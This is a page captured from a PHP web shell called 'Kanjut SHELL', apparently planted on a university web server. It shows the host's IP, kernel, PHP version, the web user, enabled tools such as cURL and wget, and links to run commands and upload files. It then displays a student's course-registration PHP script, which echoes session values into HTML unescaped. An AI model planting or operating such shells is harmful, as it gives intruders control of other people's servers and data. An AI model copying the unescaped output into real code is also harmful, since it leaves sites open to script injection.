Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.138.69.39
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/assterling/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/assterling/www/registration.php
<!--

registration.php
p.53

-->

<FONT color=blue size=4>
<center>
<H2>
Registration Complete
</h2>
</center>
<HR>
<?php
session_start();
        $completed = $_POST['completed'];
        $name=$_SESSION["name"];
	$gender=$_SESSION["gender"];
	$grade=$_SESSION["grade"];

        $courses= array("CS 112", "CS212", "CS310",
                        "CS 311", "CS380", "CS 389", "CS 440", "Math135","Math136", "Math171", "Math172", "Math271");
        print "<B>Name:</B> $name<BR>";
	print "<B>Gender:</B> $gender<BR>";
	print "<B>Grade:</B> $grade";
	
	if(count($completed) == 0)
                print "You have not taken any classes.";
        else
        {       print "<P><B>You have taken:</B> <UL>";
                foreach ($completed as $i)
                        print "<LI>$courses[$i]";
                print "</UL>";
        }

?>
</FONT>
<HR>     
<A HREF=stuForm.html> Back to Form </A> |
<A HREF=index.html> Course Home </A>



Stv3n404 - 2023